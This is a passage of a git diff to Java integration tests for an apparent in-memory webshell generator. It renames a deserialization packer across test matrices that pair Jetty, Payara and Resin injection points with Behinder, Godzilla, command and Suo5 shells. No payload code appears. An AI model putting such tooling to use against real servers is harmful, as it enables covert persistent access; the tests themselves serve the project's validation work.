a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java index 39fbd881..9a5f1e87 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java @@ -43,29 +43,29 @@ public class Jetty76ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java index 92c9856b..a396ea92 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java @@ -43,29 +43,29 @@ public class Jetty81ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java index 119a9671..bf86d5b4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java @@ -44,29 +44,29 @@ public class Jetty92ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java index 9a79f7be..35d915d2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java @@ -43,29 +43,29 @@ public class Jetty93ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java index 7183c77e..8b1a417a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -43,29 +43,29 @@ public class Jetty94ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java index c3e96303..adb5b2b0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java @@ -42,40 +42,40 @@ public class Payara5201ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java index 4a5519a2..42c0962f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java @@ -42,29 +42,29 @@ public class Payara520225ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize) + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java index 3f692f8c..5cdb8d4a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java @@ -42,29 +42,29 @@ public class Payara620222ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.Deserialize) + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java index 06489b6c..3aa973e7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java @@ -44,29 +44,29 @@ public class Resin3116ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, 